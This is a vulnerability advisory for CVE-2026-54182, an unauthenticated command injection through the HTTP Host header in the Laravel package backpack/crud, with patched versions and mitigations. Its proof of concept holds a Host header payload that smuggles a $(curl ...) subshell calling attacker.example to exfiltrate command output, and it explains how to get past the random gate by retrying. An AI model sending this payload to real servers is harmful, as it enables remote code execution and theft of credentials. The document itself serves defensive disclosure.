high · 8.1CVE-2026-54182Aug 20, 2026

CVE-2026-54182: backpack/crud OS Command Injection via Host Header

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

An unauthenticated attacker can inject shell commands into the HTTP Host header, which Laravel Backpack CRUD passes unsanitized to exec() on every production request, leading to full remote code…

Packagebackpack/crud
Ecosystemcomposer
Affected>= 4.1.0, < 4.1.72
Fixed in4.1.72
CVE-2026-54182: backpack/crud OS Command Injection via Host Header

The problem

The Stats::makeCurlRequest method in backpack/crud constructs a shell command string that includes the raw HTTP Host header value, then passes it directly to exec(). No sanitization or escaping is applied to the header before it enters the shell.

The vulnerable code path runs on every HTTP request during BackpackServiceProvider::boot() in production, gated only by a 1-in-100 random check. An attacker can reliably bypass this gate by retrying. Successful exploitation gives unauthenticated OS command execution as www-data or equivalent, exposing .env secrets, database credentials, and internal network access.

Proof of concept

A working proof-of-concept for CVE-2026-54182 in backpack/crud, with the exact payload below.

http
GET /admin HTTP/1.1
Host: stats.backpackforlaravel.com$(curl${IFS}http://attacker.example/$(whoami))
Accept: */*

The makeCurlRequest method assembled a shell string roughly equivalent to exec("curl -s 'https://stats.backpackforlaravel.com/?h=" . $_SERVER['HTTP_HOST'] . "'"). A Host value containing $(...) or backtick subshell syntax closes the curl argument and injects a second command before the closing quote, a textbook CWE-78 injection.

The 1-in-100 random gate is not a security control: an attacker simply sends repeated requests until the gate opens, which takes an average of 100 requests. The fix (4.1.72, 5.6.2, 6.8.13, 7.0.36) deleted makeCurlRequest entirely and routed the stats call through Guzzle, which never constructs a shell string, eliminating the attack surface at the root.

The fix

Upgrade backpack/crud to the first patched release for your branch: 4.1.72 (4.1.x), 5.6.2 (5.x), 6.8.13 (6.x), or 7.0.36 (7.x). The fix removes makeCurlRequest and replaces it with a Guzzle-based HTTP call, so no shell is ever invoked. If an immediate upgrade is not possible, disable PHP exec() for the web process or configure your reverse proxy to strip and normalize the Host header.

Reported by Vishal Shukla (@shukla304).

References: [1][2][3][4][5][6]

Related research